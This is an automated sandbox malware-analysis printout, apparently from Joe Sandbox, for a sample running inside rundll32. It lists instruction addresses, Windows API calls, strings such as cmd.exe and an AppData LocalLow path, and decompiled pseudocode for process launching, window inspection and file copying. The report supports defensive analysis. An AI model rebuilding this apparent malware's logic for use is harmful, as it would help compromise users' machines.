0x00fc4e2b
0x00fc4e31
0x00fc4e4d
0x00fc4e53
0x00fc4e54
0x00fc4e55
0x00fc4e56
0x00fc4e57
0x00fc4e5d
0x00fc4e33
0x00fc4e3b
0x00fc4e41
0x00fc4e42
0x00fc4e43
0x00fc4e44
0x00fc4e45
0x00fc4e4b
0x00fc4e4b
0x00fc4e31
0x00fc4d08
0x00fc4c3b
0x00fc4c33
0x00000000
0x00000000
0x00fc4e78
0x00fc4e7d
0x00fc4e80
0x00fc4e84
0x00fc4e8a
0x00fc4e8c
0x00000000
0x00fc4e92
0x00fc4e94
0x00fc4e9a
0x00fc4e9c
0x00fc4ee9
0x00fc4ee9
0x00fc4e9e
0x00fc4ea6
0x00fc4ea8
0x00fc4eaa
0x00000000
0x00fc4eac
0x00fc4eb3
0x00fc4eb5
0x00fc4eb7
0x00000000
0x00fc4eb9
0x00fc4eba
0x00fc4ec0
0x00fc4ec2
0x00fc4ec2
0x00fc4ec4
0x00fc4ec9
0x00fc4eca
0x00fc4ecf
0x00fc4ed1
0x00fc4ed3
0x00fc4ed8
0x00fc4edd
0x00fc4ed3
0x00fc4ee1
0x00fc4ee1
0x00fc4eb7
0x00fc4eaa
0x00fc4eed
0x00fc4ef3
0x00fc4ef5
0x00000000
0x00fc4efb
0x00fc4f04
0x00fc4f0c
0x00fc4f0d
0x00fc4f0e
0x00fc4f0f
0x00fc4f10
0x00fc4f16
0x00fc4f16
0x00fc4ef5
0x00000000
0x00000000
0x00fc4ba4
0x00fc4bac
0x00fc4bb2
0x00fc4bb4
0x00000000
0x00fc4bba
0x00fc4bba
0x00fc4bcd
0x00fc4bcf
0x00fc4bd1
0x00fc4bd4
0x00fc4bda
0x00fc4bdc
0x00fc4be0
0x00fc4bf8
0x00fc4bf8
0x00fc4bdc
0x00fc4bfe
0x00fc4c04
0x00fc4c05
0x00fc4c06
0x00fc4c07
0x00fc4c08
0x00fc4c0e
0x00fc4c0e
0x00000000
0x00000000
0x00fc4f54
0x00fc4f56
0x00fc4f58
0x00000000
0x00fc4f5e
0x00fc4f67
0x00fc4f6f
0x00fc4f71
0x00000000
0x00fc4f77
0x00fc4f77
0x00fc4f7b
0x00fc4f7c
0x00fc4f7e
0x00fc4f7f
0x00fc4aff
0x00fc4b03
0x00fc4b09
0x00fc4b0b
0x00000000
0x00fc4b11
0x00fc4b12
0x00fc4b18
0x00fc4b19
0x00fc4b1a
0x00fc4b1b
0x00fc4b1c
0x00fc4b22
0x00fc4b22
0x00fc4b0b
0x00fc4f71
0x00000000
0x00000000
0x00fc4f89
0x00fc4f8e
0x00fc4f8f
0x00fc4f90
0x00fc4f91
0x00fc4f92
0x00fc7b00
0x00fc7b06
0x00fc7b07
0x00fc7b08
0x00fc7b09
0x00fc7b0a
0x00fc7b0c
0x00fc7b12
0x00fc7b14
0x00fc7b1a
0x00fc7b29
0x00fc7b3e
0x00fc7b44
0x00fc7b51
0x00fc7b57
0x00fc7b5d
0x00fc7b5f
0x00fc7b6f
0x00fc7b7b
0x00fc7b87
0x00fc7b89
0x00fc7b94
0x00fc7b99
0x00fc7ba1
0x00fc7ba3
0x00fc7bae
0x00fc7bb0
0x00fc7bb7
0x00fc7bb7
0x00fc7bc0
0x00fc7bd1
0x00fc7bdb
0x00fc7be1
0x00fc7be3
0x00fc7c85
0x00fc7c8b
0x00fc7c8d
0x00fc7c90
0x00fc7c96
0x00fc7c98
0x00fc7c9a
0x00fc7ca1
0x00fc7ca3
0x00fc7ca5
0x00fc7ca7
0x00fc7ca9
0x00fc7cab
0x00fc7cad
0x00fc7cb2
0x00fc7cb4
0x00fc7cb6
0x00fc7cbb
0x00fc7cc8
0x00fc7cce
0x00000000
0x00fc7cce
0x00fc7cb6
0x00fc7ca9
0x00fc7ca5
0x00fc7ca1
0x00fc7be9
0x00fc7be9
0x00fc7bed
0x00fc7bf1
0x00fc7bf7
0x00fc7bf9
0x00fc7bfc
0x00fc7bfc
0x00fc7bfe
0x00fc7c02
0x00fc7c04
0x00fc7c07
0x00fc7c07
0x00fc7c14
0x00fc7c27
0x00fc7c2d
0x00fc7c32
0x00fc7c38
0x00fc7c3a
0x00fc7c3c
0x00fc7c43
0x00fc7c49
0x00fc7c4b
0x00fc7c51
0x00fc7c53
0x00fc7c59
0x00fc7c5b
0x00fc7c60
0x00fc7c62
0x00fc7c64
0x00fc7c67
0x00fc7c6d
0x00fc7c7a
0x00fc7c80
0x00fc7cd1
0x00fc7cd6
0x00fc7cd9
0x00fc7cdc
0x00fc7cdc
0x00fc7c64
0x00fc7c53
0x00fc7c4b
0x00fc7c43
0x00fc7be3
0x00fc7ce2
0x00fc7ce3
0x00fc7ce4
0x00fc7ce5
0x00fc7ce6
0x00fc7cec
0x00000000
0x00000000
0x00fc4a14
0x00fc4a1a
0x00fc4a1b
0x00fc4a1c
0x00fc4a1d
0x00fc4a1e
0x00fc4a24
0x00000000
0x00000000
0x00fc4f17
0x00fc4f17
0x00fc4f1d
0x00fc4f22
0x00fc4f23
0x00fc4f24
0x00fc4f25
0x00fc4f26
0x00000000
0x00000000
0x00fc4f31
0x00fc4f31
0x00fc4f37
0x00fc4f3c
0x00fc4f3d
0x00fc4f3e
0x00fc4f3f
0x00fc4f40
0x00fc4770
0x00fc4770
0x00fc4773
0x00fc477a
0x00fc4780
0x00fc4783
0x00fc4786
0x00fc4788
0x00fc478b
0x00fc478d
0x00fc47a6
0x00fc47a6
0x00fc47ad
0x00fc478f
0x00fc478f
0x00fc4792
0x00000000
0x00fc4794
0x00fc4794
0x00fc479c
0x00fc479c
0x00fc4792
0x00fc47b4
0x00fc47b7
0x00fc47b9
0x00fc47c0
0x00fc47c4
0x00fc47c6
0x00fc47cb
0x00fc47d1
0x00fc47d3
0x00fc47d5
0x00fc47d9
0x00fc47dd
0x00fc47e2
0x00fc47ef
0x00fc47fa
0x00fc4801
0x00fc480b
0x00fc4811
0x00fc4811
0x00fc4817
0x00fc4817
0x00fc4818
0x00fc481b
0x00000000
0x00000000
0x00fc5016
0x00fc5017
0x00fc501c
0x00fc5022
0x00fc5024
0x00fc502c
0x00fc5034
0x00fc5036
0x00fc503c
0x00fc503f
0x00fc504a
0x00fc504c
0x00fc504e
0x00fc5050
0x00fc5053
0x00fc5056
0x00fc5058
0x00000000
0x00fc506a
0x00000000
0x00000000
0x00fc5063
0x00000000
0x00000000
0x00fc505f
0x00fc506f
0x00fc506f
0x00fc5072
0x00000000
0x00000000
0x00fc5058
0x00fc5056
0x00fc504e
0x00fc5076
0x00fc507e
0x00fc5080
0x00fc5083
0x00fc508c
0x00fc508e
0x00fc5090
0x00fc5092
0x00fc5095
0x00fc5095
0x00fc5099
0x00fc509c
0x00fc50a5
0x00fc50a7
0x00fc50a9
0x00fc50ad
0x00fc50af
0x00fc50b4
0x00fc50b4
0x00fc50a9
0x00fc509c
0x00fc50b7
0x00fc50bf
0x00fc50c5
0x00fc50c6
0x00fc50ca
0x00fc50e0
0x00fc50e5
0x00fc50e7
0x00fc50e9
0x00fc50f7
0x00fc50f7
0x00fc50f9
0x00fc5100
0x00fc5106
0x00fc5108
0x00fc510e
0x00fc5115
0x00fc5117
0x00fc5119
0x00fc5129
0x00fc5136
0x00fc513c
0x00fc5143
0x00fc5149
0x00fc542d
0x00fc5432
0x00fc5432
0x00fc5119
0x00fc5108
0x00fc5100
0x00000000
0x00000000
0x00fc4b4d
0x00fc4b52
0x00fc4b53
0x00fc4b54
0x00fc4b55
0x00fc4b56
0x00000000
0x00000000
0x00fc4a36
0x00fc4a3b
0x00fc4a3c
0x00fc4a3d
0x00fc4a3e
0x00fc4a3f
0x00000000
0x00000000
0x00fc4a9c
0x00fc4aa1
0x00fc4aa2
0x00fc4aa3
0x00fc4aa4
0x00fc4aa5
0x00000000
0x00000000
0x00fc4b61
0x00fc4b66
0x00fc4b67
0x00fc4b68
0x00fc4b69
0x00fc4b6a
0x00000000
0x00000000
0x00fc4a4a
0x00fc4a4f
0x00fc4a50
0x00fc4a51
0x00fc4a52
0x00fc4a53
0x00000000
0x00000000
0x00fc4ab0
0x00fc4ab5
0x00fc4ab6
0x00fc4ab7
0x00fc4ab8
0x00fc4ab9
0x00000000
0x00000000
0x00fc4b75
0x00fc4b7a
0x00fc4b7b
0x00fc4b7c
0x00fc4b7d
0x00fc4b7e
0x00fc2a00
0x00fc2a00
0x00fc2a01
0x00fc2a11
0x00fc2a17
0x00fc2a19
0x00fc2a1c
0x00fc2a1c
0x00fc2a22
0x00fc2a23
0x00000000
0x00000000
0x00fc4a5e
0x00fc4a63
0x00fc4a64
0x00fc4a65
0x00fc4a66
0x00fc4a67
0x00fc2990
0x00fc2990
0x00fc2991
0x00fc29a1
0x00fc29a7
0x00fc29a9
0x00fc29ac
0x00fc29ac
0x00fc29b2
0x00fc29b3
0x00000000
0x00000000
0x00fc4ac4
0x00fc4ac9
0x00fc4aca
0x00fc4acb
0x00fc4acc
0x00fc4acd
0x00fc3140
0x00fc3140
0x00fc3141
0x00fc3151
0x00fc3157
0x00fc3159
0x00fc315c
0x00fc315c
0x00fc3162
0x00fc3163
0x00000000
0x00000000
0x00fc4b89
0x00fc4b8b
0x00fc4b91
0x00fc4b97
0x00fc4b98
0x00fc4b99
0x00fc4b9a
0x00fc4b9b
0x00fc4ba1
0x00000000
0x00000000
0x00fc4a72
0x00fc4a74
0x00fc4a7a
0x00fc4a80
0x00fc4a81
0x00fc4a82
0x00fc4a83
0x00fc4a84
0x00fc4a8a
0x00000000
0x00000000
0x00fc4ad8
0x00fc4ada
0x00fc4ae0
0x00fc4ae6
0x00fc4ae7
0x00fc4ae8
0x00fc4ae9
0x00fc4aea
0x00fc4af0
0x00000000
0x00000000
0x00fc4b23
0x00fc4b25
0x00fc4b2b
0x00fc4b31
0x00fc4b32
0x00fc4b33
0x00fc4b34
0x00fc4b35
0x00fc4b3b
0x00000000
0x00000000
0x00000000
0x00000000
0x00fc4857
0x00fc484a
0x00fc4838
0x00000000

APIs

lstrcpyA.KERNEL32(?), ref: 00FC488D
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00FC4906
CloseHandle.KERNEL32(?), ref: 00FC491D
CloseHandle.KERNEL32(?), ref: 00FC4930
lstrcpyW.KERNEL32 ref: 00FC494E
CreateProcessW.KERNEL32 ref: 00FC49C7
CloseHandle.KERNEL32(?), ref: 00FC49DE
CloseHandle.KERNEL32(?), ref: 00FC49F1
CreateThread.KERNEL32 ref: 00FC4B03
CloseHandle.KERNEL32(00000000), ref: 00FC4B12
WindowFromPoint.USER32(775FD500,00000014,?,?), ref: 00FC5160
LocalAlloc.KERNEL32(00000000,00001000,?,?), ref: 00FC516F
GetClassNameW.USER32 ref: 00FC518F
lstrcatW.KERNEL32(00000000,?), ref: 00FC51A8
lstrcatW.KERNEL32(00000000,00FCF304), ref: 00FC51B0
GetWindowTextW.USER32 ref: 00FC51BD
lstrcatW.KERNEL32(00000000,?), ref: 00FC51D0
lstrcatW.KERNEL32(00000000,00FCF304), ref: 00FC51D8
GetWindowThreadProcessId.USER32(00000000,?), ref: 00FC51E0
lstrcatW.KERNEL32(00000000,?), ref: 00FC520F
lstrcatW.KERNEL32(00000000,00FCF304), ref: 00FC5217
lstrlenW.KERNEL32(00000000,?,?), ref: 00FC521A
EnterCriticalSection.KERNEL32(00FD6714,?,?,?), ref: 00FC525A
WindowFromPoint.USER32(775FD500,00000014,?,?), ref: 00FC5295
SendMessageTimeoutA.USER32(00000000,00000050,00000000,?,00000002,000003E8,?), ref: 00FC52AF
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00FC52B8
GetKeyboardLayout.USER32 ref: 00FC52C3
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC5432

Strings

d06ed635, xrefs: 00FC48B8
d06ed635, xrefs: 00FC4979
D, xrefs: 00FC4965
C:\Windows\system32\cmd.exe, xrefs: 00FC4941
max: %d : %d0: %d : %d1: %d : %d2: %d : %d3: %d : %d4: %d : %d5: %d : %d6: %d : %d7: %d : %d8: %d : %d9: %d : %drect: %d : %d : %d : %d, xrefs: 00FC53C5

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: lstrcat$CloseHandleWindow$Process$CreateThread$CriticalFromPointSectionlstrcpy$AllocClassEnterKeyboardLayoutLeaveLocalMessageNameSendTextTimeoutlstrlen
String ID: C:\Windows\system32\cmd.exe$D$d06ed635$d06ed635$max: %d : %d0: %d : %d1: %d : %d2: %d : %d3: %d : %d4: %d : %d5: %d : %d6: %d : %d7: %d : %d8: %d : %d9: %d : %drect: %d : %d : %d : %d
API String ID: 355388603-2506838646
Opcode ID: 6e55a0eeba6914c682f3e803ff8177ce8aecd3dc682647d4569b10e9af89b3fd
Instruction ID: 4db858bdd7742e8e6490437c0a484a8717fdb278cdf8180e93c8d3653f57c6fb
Opcode Fuzzy Hash: 6e55a0eeba6914c682f3e803ff8177ce8aecd3dc682647d4569b10e9af89b3fd
Instruction Fuzzy Hash: 04D1E8725457099AD3209B65ED06FBBB7E9EB88B11F04052FF644C5090EB79D484EB31

Uniqueness

Uniqueness Score: -1.00%

Function 00FC2490 Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 328
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 97%

			E00FC2490(intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* _t121;
				signed char _t133;
				signed char _t139;
				signed int _t146;
				intOrPtr _t149;
				intOrPtr _t150;
				intOrPtr _t151;
				intOrPtr _t152;
				intOrPtr _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				intOrPtr _t156;
				intOrPtr _t157;
				intOrPtr _t158;
				signed char _t160;
				int _t175;
				signed char _t184;
				signed char _t195;
				intOrPtr _t215;
				void* _t216;
				WCHAR* _t236;
				void* _t237;
				WCHAR* _t238;
				signed int _t239;
				intOrPtr _t241;
				WCHAR* _t242;
				signed int _t246;
				void* _t247;
				WCHAR* _t249;
				short _t251;
				signed int _t252;
				void* _t253;
				void* _t256;
				void* _t258;

				_t249 =  *(_t253 + 0xa80);
				_t121 = _t253 + 0x660;
				 *((intOrPtr*)(_t253 + 0x28)) = __edx;
				__imp__SHGetFolderPathW(0, 0x1c, 0, 0, _t121);
				if(_t121 != 0) {
					L26:
					_t236 =  *(_t253 + 0xa90);
					if(_t236 != 0) {
						_t241 = lstrlenW(_t236) + _t123;
						if( *0xfd672c != 0 && _t241 != 0) {
							_t215 = E00FC11D0(_t241);
							if(_t215 != 0) {
								E00FC1000(_t215, _t236, _t241);
								EnterCriticalSection(0xfd6714);
								 *0xfd65fc = 6;
								 *0xfd6601 = _t241;
								 *0xfd65fd = _t215;
								LeaveCriticalSection(0xfd6714);
							}
						}
					}
					return 0;
				} else {
					_t242 =  *(_t253 + 0xa80);
					_t216 = lstrcatW;
					lstrcatW(_t253 + 0x668, _t242);
					lstrcatW(_t253 + 0x66c,  *(_t253 + 0xa84));
					lstrcatW(_t253 + 0x66c,  *0xfd6824);
					_t237 = GetFileAttributesW;
					_t133 = GetFileAttributesW(_t253 + 0x668);
					if(_t133 == 0xffffffff || (_t133 & 0x00000010) == 0) {
						goto L26;
					} else {
						lstrcpyW(_t253 + 0x464, "C:\Users\jones\AppData\LocalLow\");
						lstrcatW(_t253 + 0x464, _t242);
						_t139 = GetFileAttributesW(_t253 + 0x460);
						if(_t139 == 0xffffffff || (_t139 & 0x00000010) == 0) {
							CreateDirectoryW(_t253 + 0x464, 0);
						}
						lstrcatW(_t253 + 0x464,  *(_t253 + 0xa84));
						lstrcpyW(_t253 + 0x874, "C:\Users\jones\AppData\LocalLow\");
						_t146 = lstrlenW("C:\Users\jones\AppData\LocalLow\");
						E00FC1290(GetTickCount(), _t147, _t253 + 0x870 + _t146 * 2);
						_t149 =  *0xfd685c; // 0xfd806a
						 *((intOrPtr*)(_t253 + 0x28)) = _t149;
						_t150 =  *0xfd6860; // 0xfd8076
						 *((intOrPtr*)(_t253 + 0x2c)) = _t150;
						_t151 =  *0xfd6864; // 0xfd808c
						 *((intOrPtr*)(_t253 + 0x30)) = _t151;
						_t152 =  *0xfd6868; // 0xfd809e
						 *((intOrPtr*)(_t253 + 0x34)) = _t152;
						_t153 =  *0xfd686c; // 0xfd80ca
						 *((intOrPtr*)(_t253 + 0x38)) = _t153;
						_t154 =  *0xfd6870; // 0xfd80e6
						 *((intOrPtr*)(_t253 + 0x3c)) = _t154;
						_t155 =  *0xfd6874; // 0xfd8104
						 *((intOrPtr*)(_t253 + 0x40)) = _t155;
						_t156 =  *0xfd6878; // 0xfd811e
						 *((intOrPtr*)(_t253 + 0x44)) = _t156;
						_t157 =  *0xfd687c; // 0xfd8136
						 *((intOrPtr*)(_t253 + 0x48)) = _t157;
						_t158 =  *0xfd6880; // 0xfd8156
						 *((intOrPtr*)(_t253 + 0x4c)) = _t158;
						 *((intOrPtr*)(_t253 + 0x28)) = 0xa;
						_t160 = GetFileAttributesW(_t253 + 0x460);
						if(_t160 == 0xffffffff || (_t160 & 0x00000010) == 0) {
							L25:
							E00FC2330(_t253 + 0x66c, _t253 + 0x464, _t253 + 0x24);
							return E00FC20B0(_t216,  *((intOrPtr*)(_t253 + 0x1c)), _t237, _t253 + 0x468,  *(_t253 + 0xa84),  *(_t253 + 0xa90));
						} else {
							if(_t249 == 1) {
								E00FC3E60(_t253 + 0x460);
								goto L25;
							} else {
								if(_t249 != 2) {
									if(_t249 != 3) {
										lstrcpyW(_t253 + 0x25c, _t253 + 0x668);
										lstrcpyW(_t253 + 0x54, _t253 + 0x460);
										 *(_t253 + 0x18) = lstrlenW(_t253 + 0x258);
										_t175 = lstrlenW(_t253 + 0x50);
										_t246 =  *(_t253 + 0x18);
										 *(_t253 + 0x18) = _t175;
										E00FC3D50(_t253 + 0x260, _t253 + 0x50, _t246, _t175);
										_t256 = _t253 + 8;
										lstrcatW(_t256 + 0x258,  *0xfd6838);
										lstrcatW(_t256 + 0x54,  *0xfd6838);
										_t251 = 0x31;
										 *((intOrPtr*)(_t256 + 0x1c)) = 0x31;
										 *(_t256 + 0x20) = _t256 + 0x62 +  *(_t256 + 0x10) * 2;
										do {
											_t184 = GetFileAttributesW(_t256 + 0x258);
											if(_t184 != 0xffffffff && (_t184 & 0x00000010) != 0) {
												_t195 = GetFileAttributesW(_t256 + 0x50);
												if(_t195 == 0xffffffff || (_t195 & 0x00000010) == 0) {
													if(CreateDirectoryW(_t256 + 0x54, 0) != 0) {
														goto L19;
													}
												} else {
													L19:
													E00FC3D50(_t256 + 0x260, _t256 + 0x54, _t246,  *(_t256 + 0x10));
													_t252 =  *(_t256 + 0x20);
													_t258 = _t256 + 8;
													_t247 = 0;
													do {
														_t78 = _t247 + 0xfcf2e0; // 0x43
														_t238 =  *(0xfd6730 +  *_t78 * 4);
														lstrcatW(_t258 + 0x258, _t238);
														lstrcatW(_t258 + 0x54, _t238);
														E00FC2330(_t258 + 0x25c, _t258 + 0x54, 0);
														_t239 =  *(_t258 + 0x14);
														_t247 = _t247 + 4;
														 *((short*)(_t258 + 0x25c + _t252 * 2)) = 0;
														_t258 = _t258 + 4;
														 *((short*)(_t258 + 0x50 + _t239 * 2)) = 0;
													} while (_t247 < 0x1c);
													_t251 =  *((intOrPtr*)(_t258 + 0x1c));
													_t237 = GetFileAttributesW;
													_t246 =  *(_t258 + 0x18);
												}
											}
											 *((short*)(_t256 + 0x25c + _t246 * 2)) = 0;
											 *((short*)(_t256 + 0x54 +  *(_t256 + 0x14) * 2)) = 0;
											lstrcatW(_t256 + 0x25c,  *0xfd6828);
											lstrcatW(_t256 + 0x54,  *0xfd6828);
											 *((short*)(_t256 + 0x26a + _t246 * 2)) = _t251;
											 *( *(_t256 + 0x20)) = _t251;
											_t251 = _t251 + 1;
											 *((intOrPtr*)(_t256 + 0x1c)) = _t251;
										} while (_t251 <= 0x39);
										return E00FC20B0(_t216,  *((intOrPtr*)(_t256 + 0x18)), _t237, _t256 + 0x464,  *((intOrPtr*)(_t256 + 0xa80)),  *((intOrPtr*)(_t256 + 0xa8c)));
									} else {
										E00FC9A10( *((intOrPtr*)(_t253 + 0xa7c)));
										return E00FC20B0(_t216,  *(_t253 + 0x18), _t237, _t253 + 0x66c,  *((intOrPtr*)(_t253 + 0xa7c)),  *((intOrPtr*)(_t253 + 0xa8c)));
									}
								} else {
									CreateDirectoryW(_t253 + 0x874, 0);
									MoveFileExW(_t253 + 0x878, 0, 4);
									return E00FC20B0(_t216,  *(_t253 + 0x18), _t237, _t253 + 0x874,  *(_t253 + 0xa80),  *((intOrPtr*)(_t253 + 0xa8c)));
								}
							}
						}
					}
				}
			}

0x00fc2498
0x00fc249f
0x00fc24b1
0x00fc24b5
0x00fc24bd
0x00fc28dc
0x00fc28dc
0x00fc28e5
0x00fc28f0
0x00fc28f9
0x00fc2906
0x00fc290a
0x00fc290f
0x00fc291c
0x00fc2927
0x00fc292e
0x00fc2934
0x00fc293a
0x00fc293a
0x00fc290a
0x00fc28f9
0x00fc294c
0x00fc24c3
0x00fc24c3
0x00fc24d1
0x00fc24d9
0x00fc24ea
0x00fc24fa
0x00fc24fc
0x00fc250a
0x00fc250f
0x00000000
0x00fc251d
0x00fc252a
0x00fc2539
0x00fc2543
0x00fc2548
0x00fc2558
0x00fc2558
0x00fc256d
0x00fc257c
0x00fc2587
0x00fc25a1
0x00fc25a6
0x00fc25ab
0x00fc25af
0x00fc25b4
0x00fc25b8
0x00fc25bd
0x00fc25c1
0x00fc25c6
0x00fc25ca
0x00fc25cf
0x00fc25d3
0x00fc25d8
0x00fc25dc
0x00fc25e1
0x00fc25e5
0x00fc25ea
0x00fc25ee
0x00fc25f3
0x00fc25f7
0x00fc25fc
0x00fc2608
0x00fc2610
0x00fc2615
0x00fc2897
0x00fc28aa
0x00fc28db
0x00fc2623
0x00fc2626
0x00fc2892
0x00000000
0x00fc262c
0x00fc262f
0x00fc2683
0x00fc26d0
0x00fc26df
0x00fc26f1
0x00fc26fa
0x00fc26fc
0x00fc270d
0x00fc2711
0x00fc2716
0x00fc2727
0x00fc2734
0x00fc273a
0x00fc273f
0x00fc2747
0x00fc2750
0x00fc2758
0x00fc275d
0x00fc2770
0x00fc2775
0x00fc278a
0x00000000
0x00000000
0x00fc2790
0x00fc2790
0x00fc27a0
0x00fc27a5
0x00fc27a9
0x00fc27ac
0x00fc27b0
0x00fc27b0
0x00fc27b6
0x00fc27c6
0x00fc27ce
0x00fc27dd
0x00fc27e2
0x00fc27e8
0x00fc27eb
0x00fc27f3
0x00fc27f6
0x00fc27fb
0x00fc2800
0x00fc2804
0x00fc280a
0x00fc280a
0x00fc2775
0x00fc2818
0x00fc2824
0x00fc2831
0x00fc283e
0x00fc2844
0x00fc284c
0x00fc284f
0x00fc2850
0x00fc2854
0x00fc288a
0x00fc2685
0x00fc268e
0x00fc26b9
0x00fc26b9
0x00fc2631
0x00fc263b
0x00fc264d
0x00fc267f
0x00fc267f
0x00fc262f
0x00fc2626
0x00fc2615
0x00fc250f

APIs

SHGetFolderPathW.SHELL32(00000000,0000001C,00000000,00000000,?), ref: 00FC24B5
lstrcatW.KERNEL32(?,?), ref: 00FC24D9
lstrcatW.KERNEL32(?,?), ref: 00FC24EA
lstrcatW.KERNEL32(?), ref: 00FC24FA
GetFileAttributesW.KERNEL32(?), ref: 00FC250A
lstrcpyW.KERNEL32 ref: 00FC252A
lstrcatW.KERNEL32(?,?), ref: 00FC2539
GetFileAttributesW.KERNEL32(?), ref: 00FC2543
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FC2558
lstrcatW.KERNEL32(?,?), ref: 00FC256D
lstrcpyW.KERNEL32 ref: 00FC257C
lstrlenW.KERNEL32(C:\Users\user\AppData\LocalLow\), ref: 00FC2587
GetTickCount.KERNEL32 ref: 00FC2597
GetFileAttributesW.KERNEL32 ref: 00FC2610
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FC263B
MoveFileExW.KERNEL32(?,00000000,00000004), ref: 00FC264D
lstrcpyW.KERNEL32 ref: 00FC26D0
lstrcpyW.KERNEL32 ref: 00FC26DF
lstrlenW.KERNEL32(?), ref: 00FC26EF
lstrlenW.KERNEL32(?), ref: 00FC26FA

Part of subcall function 00FC3D50: lstrcpyW.KERNEL32 ref: 00FC3D6D
Part of subcall function 00FC3D50: lstrcpyW.KERNEL32 ref: 00FC3D9F
Part of subcall function 00FC3D50: FindFirstFileW.KERNEL32(?,?), ref: 00FC3DCE
Part of subcall function 00FC3D50: lstrcatW.KERNEL32(?,?), ref: 00FC3E00
Part of subcall function 00FC3D50: lstrcatW.KERNEL32(?,?), ref: 00FC3E1B
Part of subcall function 00FC3D50: CopyFileW.KERNEL32(?,?,00000000), ref: 00FC3E2C
Part of subcall function 00FC3D50: FindNextFileW.KERNEL32(00000000,00000010), ref: 00FC3E40
Part of subcall function 00FC3D50: FindClose.KERNEL32(00000000), ref: 00FC3E4B

lstrcatW.KERNEL32(?), ref: 00FC2727
lstrcatW.KERNEL32(?), ref: 00FC2734
GetFileAttributesW.KERNEL32(?), ref: 00FC2758
GetFileAttributesW.KERNEL32(?), ref: 00FC2770
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FC2782
lstrcatW.KERNEL32(?,7476F9C0), ref: 00FC27C6
lstrcatW.KERNEL32(?,7476F9C0), ref: 00FC27CE
lstrcatW.KERNEL32(?), ref: 00FC2831
lstrcatW.KERNEL32(?), ref: 00FC283E
lstrlenW.KERNEL32(?), ref: 00FC28E8
EnterCriticalSection.KERNEL32(00FD6714), ref: 00FC291C
LeaveCriticalSection.KERNEL32(00FD6714), ref: 00FC293A

Strings

C:\Users\user\AppData\LocalLow\, xrefs: 00FC251D, 00FC256F, 00FC2582

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: lstrcat$File$lstrcpy$Attributes$lstrlen$CreateDirectoryFind$CriticalSection$CloseCopyCountEnterFirstFolderLeaveMoveNextPathTick
String ID: C:\Users\user\AppData\LocalLow\
API String ID: 3445311092-3932509074
Opcode ID: 3c8c8fed22b0521c2ca4b99d6d36c7251287db91e14f70c22c9ed7eb8cac5096
Instruction ID: 1817119faeee33b3f701a350c73809fd530ad9b2cf630b80826749043befde80
Opcode Fuzzy Hash: 3c8c8fed22b0521c2ca4b99d6d36c7251287db91e14f70c22c9ed7eb8cac5096
Instruction Fuzzy Hash: A0C18F719043499BCB20DFA4DD45F9BB7E9EF89310F04492EE588C3150EB36D509EB52

Uniqueness

Uniqueness Score: -1.00%

Function 00FCA270 Relevance: 54.6, APIs: 18, Strings: 13, Instructions: 314
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 95%

			E00FCA270(struct HWND__* __ecx, struct tagPOINT _a4, intOrPtr _a8) {
				short _v104;
				short _v116;
				short _v176;
				short _v178;
				short _v180;
				short _v182;
				short _v184;
				intOrPtr _v186;
				short _v188;
				short _v190;
				short _v192;
				short _v194;
				short _v196;
				intOrPtr _v198;
				short _v200;
				short _v202;
				short _v204;
				intOrPtr _v206;
				short _v208;
				short _t47;
				signed char _t48;
				struct HWND__* _t51;
				struct HWND__* _t52;
				int _t54;
				struct HWND__* _t56;
				struct HWND__* _t58;
				struct HWND__* _t61;
				struct HWND__* _t63;
				struct HWND__* _t64;
				int _t66;
				struct HWND__* _t68;
				struct HWND__* _t70;
				int _t72;
				int _t74;
				struct HWND__* _t78;
				struct HWND__* _t81;
				struct HWND__* _t85;
				struct HWND__* _t89;
				struct HWND__* _t92;
				struct HWND__* _t95;
				intOrPtr _t97;
				intOrPtr _t101;
				int _t102;
				void* _t105;

				_push(_a8);
				_t95 = __ecx;
				_t105 = 0;
				if(PtInRect(0xfd63a4, _a4) == 0) {
					_t102 = GetClassNameW(_t95,  &_v208, 0x32);
					__eflags = _t102 - 0xc;
					if(_t102 != 0xc) {
						__eflags = _t102 - 0xe;
						if(_t102 != 0xe) {
							_t101 = _v198;
							_t97 = _v206;
							_t47 = _v208;
							__eflags = _t102 - 0x11;
							if(_t102 <= 0x11) {
								L27:
								__eflags = _t102 - 0x1b;
								if(_t102 != 0x1b) {
									__eflags = _t102 - 6;
									if(__eflags <= 0) {
										goto L40;
									} else {
										goto L32;
									}
								} else {
									_t85 = lstrcmpW( &_v208,  *0xfd677c);
									__eflags = _t85;
									if(_t85 != 0) {
										goto L30;
									} else {
										return 0x80;
									}
								}
							} else {
								__eflags = _t47 - 0x43;
								if(_t47 != 0x43) {
									goto L27;
								} else {
